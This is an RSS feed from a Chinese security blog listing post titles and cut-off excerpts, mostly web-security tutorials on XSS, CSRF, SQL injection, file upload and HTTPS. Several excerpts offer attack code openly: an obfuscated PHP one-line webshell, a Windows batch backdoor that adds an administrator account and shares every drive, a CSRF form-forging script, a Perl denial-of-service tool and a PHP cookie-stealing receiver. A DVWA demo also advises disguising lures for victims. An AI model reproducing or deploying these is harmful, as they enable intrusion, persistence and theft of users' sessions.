<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[longger_lee]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/longgerlee</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; longgerlee]]></copyright><item><title><![CDATA[测试的那些事————测试底层DPDK线程处理性能注意事项]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/85683575</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/85683575</guid><author>longgerlee</author><pubDate>Thu, 03 Jan 2019 11:21:47 +0800</pubDate><description><![CDATA[1，配置为1网卡多队列时，由于队列是按IP分配，所以发包时采用tcpreplay-edit --unique-ip 参数，保证源/目的IP随机性，这样每个接收队列分配处理到均匀的流量，不仅使模拟流量更接近真实环境流量，同样的 处理性能也最优最真实。...]]></description><category></category></item><item><title><![CDATA[Python爬虫学习篇——————网络爬虫用到的库]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/69950789</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/69950789</guid><author>longgerlee</author><pubDate>Mon, 10 Apr 2017 16:20:04 +0800</pubDate><description><![CDATA[抓取用到的python自带模块:urllib、urllib2、requests、httplib2等
Requests：
import?requests
response?=?requests.get(url)
content?=?requests.get(url).content
print "response?headers:", response.headers
print "co]]></description><category></category></item><item><title><![CDATA[代码篇——————一句话木马]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/69267123</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/69267123</guid><author>longgerlee</author><pubDate>Wed, 05 Apr 2017 17:40:18 +0800</pubDate><description><![CDATA[ASP系列  
 
 
 

 
（密码是-7）
 

 
PHP系列
 

 

 

 

 

 

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
@$_/*-/*]]></description><category></category></item><item><title><![CDATA[代码篇——————windows后门代码]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/64440230</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/64440230</guid><author>longgerlee</author><pubDate>Tue, 21 Mar 2017 12:33:38 +0800</pubDate><description><![CDATA[@echo off     
@net user zzunble zzunble.net /add
@net localgroup administrators zzunble /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@echo 3>c:\windows\system32\t1.]]></description><category></category></item><item><title><![CDATA[CSRF攻击代码]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/61923069</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/61923069</guid><author>longgerlee</author><pubDate>Mon, 13 Mar 2017 17:47:43 +0800</pubDate><description><![CDATA[This page forges an HTTP POST request.  
  
  
function post(url,fields)  
{  
//create a  element.  
var p = document.createElement("form");  
//construct the form  
p.action = url;  
p.inne]]></description><category></category></item><item><title><![CDATA[利用perl脚本执行拒绝攻击的代码]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/61914232</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/61914232</guid><author>longgerlee</author><pubDate>Mon, 13 Mar 2017 10:40:08 +0800</pubDate><description><![CDATA[#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;


$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors


print 
CCCCCCCCCCOOCCOOOOO88]]></description><category></category></item><item><title><![CDATA[接收cookie代码与注入盗取cookie代码参考]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/61914134</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/61914134</guid><author>longgerlee</author><pubDate>Mon, 13 Mar 2017 10:34:53 +0800</pubDate><description><![CDATA[document.write('');alert(/XSS/)








$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时：分：秒”的格式显示时间
$referer=]]></description><category></category></item><item><title><![CDATA[实例演示——————简单演示XSS store攻击，便于学习理解XSS store]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/60956748</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/60956748</guid><author>longgerlee</author><pubDate>Thu, 09 Mar 2017 11:16:41 +0800</pubDate><description><![CDATA[此次演示环境是DVWA，将盗取cookie代码存储于服务端，受害者点击链接激活盗取cookie代码从而盗取受害者cookie，实施入侵。
一，环境搭建
     1，将DVWA环境搭建在192.168.98.168主机上，并确定该环境能正常使用。
     2，准备盗取cookie代码。（该步骤在实际攻击中要善于伪装、诱使受害者点击。可写于留言板也可存储在第三方服务器将第三方url诱使受害者]]></description><category></category></item><item><title><![CDATA[搜索的艺术————黑客语法]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/54580319</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/54580319</guid><author>longgerlee</author><pubDate>Tue, 17 Jan 2017 09:52:33 +0800</pubDate><description><![CDATA[谷歌黑客语法：搜索也是一门艺术
intitle:搜索网页标题中包含有特殊字符的网页。如：intitle:cbi
inurl:搜索包含有特定字符的URL
intext:搜索网页正文内容中的指定字符。intext:to parent directory
Filetype:搜索指定类型的文件
Site:找到与指定网站有关联的URL


语法组合，威力加倍，成功率更高。
Site:目标网]]></description><category></category></item><item><title><![CDATA[web安全————PHP安全之文件包含漏洞]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/54406949</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/54406949</guid><author>longgerlee</author><pubDate>Fri, 13 Jan 2017 11:23:31 +0800</pubDate><description><![CDATA[PHP安全问题
    PHP由于灵活的语法成为目前非常流行的WEB开发语言，应用非常广泛。也是由于这个特点让PHP给安全工作带来了一些困扰。下面讨论PHP自身的语言问题。
    文件包含漏洞：
    文件包含漏洞也是代码注入的一种，代码注入的原理是注入一段用户能够控制执行的脚本或代码，并让服务器端执行。代码注入的典型代表就是文件包含(file inclusion).这种文件包含漏洞可能]]></description><category></category></item><item><title><![CDATA[web安全————文件上传漏洞]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53906404</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53906404</guid><author>longgerlee</author><pubDate>Wed, 28 Dec 2016 10:42:16 +0800</pubDate><description><![CDATA[文件上传漏洞
       所谓的文件上传漏洞是指用户上传了一个可执行脚本，并通过脚本文件获得执行服务器端命令
的能力。文件上传本身是没有问题的，它只是一种正常的业务需求，问题出在文件上传后服务器怎么处理、解释文件。文件上传后导致常见的安全问题一般包括：
       1，上传文件是web脚本语言，服务器的web容器解释并执行了用户上传的脚本，导致代码被执行
       2，上传文件是f]]></description><category></category></item><item><title><![CDATA[web安全————注入（初识篇）]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53809942</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53809942</guid><author>longgerlee</author><pubDate>Thu, 22 Dec 2016 10:00:11 +0800</pubDate><description><![CDATA[注入攻击
       注入攻击是web安全领域中最常见的一种攻击方式。注入攻击的本质就是把用户输入的数据当作代码执行，主要的两个关键条件：第一是用户能够控制输入，第二是原本程序要执行的代码拼接了用户输入的数据。在注入中，常见的就是SQL，下面我们来看看SQL注入的一些方法、技巧以及防御。


       SQL注入
       请看一个典型的SQL注入例子：
       var]]></description><category></category></item><item><title><![CDATA[web安全————clickjacking（点击劫持）]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53634056</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53634056</guid><author>longgerlee</author><pubDate>Wed, 14 Dec 2016 09:18:44 +0800</pubDate><description><![CDATA[点击劫持（clickjacking）
      点击劫持最早是在08年由安全专家Reboot Hansen和Jeremiah Grossman发现，这种攻击方式影响了几乎所有的桌面平台。那么什么是点击劫持？？点击劫持其实是一种视觉上的欺骗手段，攻击者将一个透明的、不可见的iframe覆盖在一个网页上，通过调整iframe页面位置，诱使用户在页面上进行操作，在不知情的情况下用户的点击恰好是点击在]]></description><category></category></item><item><title><![CDATA[web安全————CSRF（防御篇）]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53514365</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53514365</guid><author>longgerlee</author><pubDate>Thu, 08 Dec 2016 10:18:04 +0800</pubDate><description><![CDATA[CSRF防御之验证码
     目前，验证码被认为是对抗CSRF攻击最简单有效的防御措施。用到验证码就是在请求过程中强制用户与应用进行交互，但是一个站点、一个好的产品要考虑到用户的体验，显然如果在所有的操作上都加入验证码对用户来说就很不友好。因此验证码只能是一种防御CSRF攻击的辅助手段，并不能成为主要解决方案。


     CSRF攻击之Referer check
     一个站点]]></description><category></category></item><item><title><![CDATA[web安全————CSRF（攻击篇）]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53503041</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53503041</guid><author>longgerlee</author><pubDate>Wed, 07 Dec 2016 11:04:57 +0800</pubDate><description><![CDATA[跨站请求伪造（CSRF）
     首先先来看一个实例：当用户在某个论坛上删除某篇文章时，通过抓包获取请求如下：
     http://blog.sohu.com/manage/entry.do?m=delete&id=12345678。用户登录后cookie为有效状态下，服务器接受到上述请求将会当作一次更新操作执行。为了完成CSFR攻击，攻击者需要构造一个页面：http://www.a.c]]></description><category></category></item><item><title><![CDATA[web安全————XSS（预防篇）]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53419194</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53419194</guid><author>longgerlee</author><pubDate>Thu, 01 Dec 2016 10:47:17 +0800</pubDate><description><![CDATA[现在市面浏览器都对XSS做了一些防范措施，如firefox的CSP、Noscrip扩展和IE8内置的XSS Filter等等。但是对于一个站点来说，这往往是不够的，还需要做出更优秀更好的方案防止XSS攻击。如httponly、输入检查、输出检查等等。


     httponly是由微软提出来的，目前很多浏览器都支持该功能。带有httponly标识将禁止javascript访问cookie]]></description><category></category></item><item><title><![CDATA[web安全————XSS(攻击篇）]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53363903</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53363903</guid><author>longgerlee</author><pubDate>Sun, 27 Nov 2016 12:44:14 +0800</pubDate><description><![CDATA[所谓的跨站脚本攻击（XSS）是指攻击者通过“HTML注入”，从而对客户端的网页进行篡改，并且插入恶意代码（脚本），使用户在浏览网页时控制用户浏览器的一种攻击。因此XSS也成为了客户端的头号大敌，OWASP也因此多次把XSS列在TOP 10威胁的榜首。]]></description><category></category></item><item><title><![CDATA[web————针对web的攻击技术]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53240042</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53240042</guid><author>longgerlee</author><pubDate>Sun, 20 Nov 2016 12:30:34 +0800</pubDate><description><![CDATA[在分析针对web的攻击前，先要明白http协议本身是不存在安全性问题的，就是说攻击者不会把它当作攻击的对象。而是应用了http协议的服务器或者客户端、以及运行在服务器的web应用资源才是攻击的目标。
        针对web应用的攻击，主要分为主动攻击和被动攻击两种攻击模式
              主动攻击：攻击者访问web应用，直接将攻击代码传入的攻击模式（要求攻击者必须有访问该资源的]]></description><category></category></item><item><title><![CDATA[web————http(认证篇)]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53212747</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53212747</guid><author>longgerlee</author><pubDate>Fri, 18 Nov 2016 09:41:14 +0800</pubDate><description><![CDATA[HTTP/1.1认证方式有如下几种：
1，BASIC认证（基本认证）
2，DIGEST认证（摘要认证）
3，SSL客户端认证
4，FORMBASE认证（基于表单认证）


BASIC认证：basic认证是在HTTP/1.0版本就定义的，目前由于它的不灵活性、达不到服务端所要求的安全等级、且如果再一次进行认证时它根本无法进行注销，因此该认证并不常用。下面看看它的实现过程：
1，客户端]]></description><category></category></item><item><title><![CDATA[web————https（详解篇）]]></title><link>https://blog.youkuaiyun.com/longgerlee/article/details/53207522</link><guid>https://blog.youkuaiyun.com/longgerlee/article/details/53207522</guid><author>longgerlee</author><pubDate>Thu, 17 Nov 2016 21:56:46 +0800</pubDate><description><![CDATA[由于互联网的快速发展，网络的攻防技术在不断的更新，http协议也愈发不安全，其缺点主要表现为：



通信使用明文（不加密），内容可能会被攻击者窃听

不验证通信双方的身份，因此攻击者有可能伪装为任何一方完成攻击

无法证明报文的完整性，信息在通信过程中有可能已遭攻击者篡改


        这不仅仅在http出现，很多的未加密协议也有类似问题。因此，加密技术就引入到数据传]]></description><category></category></item></channel></rss>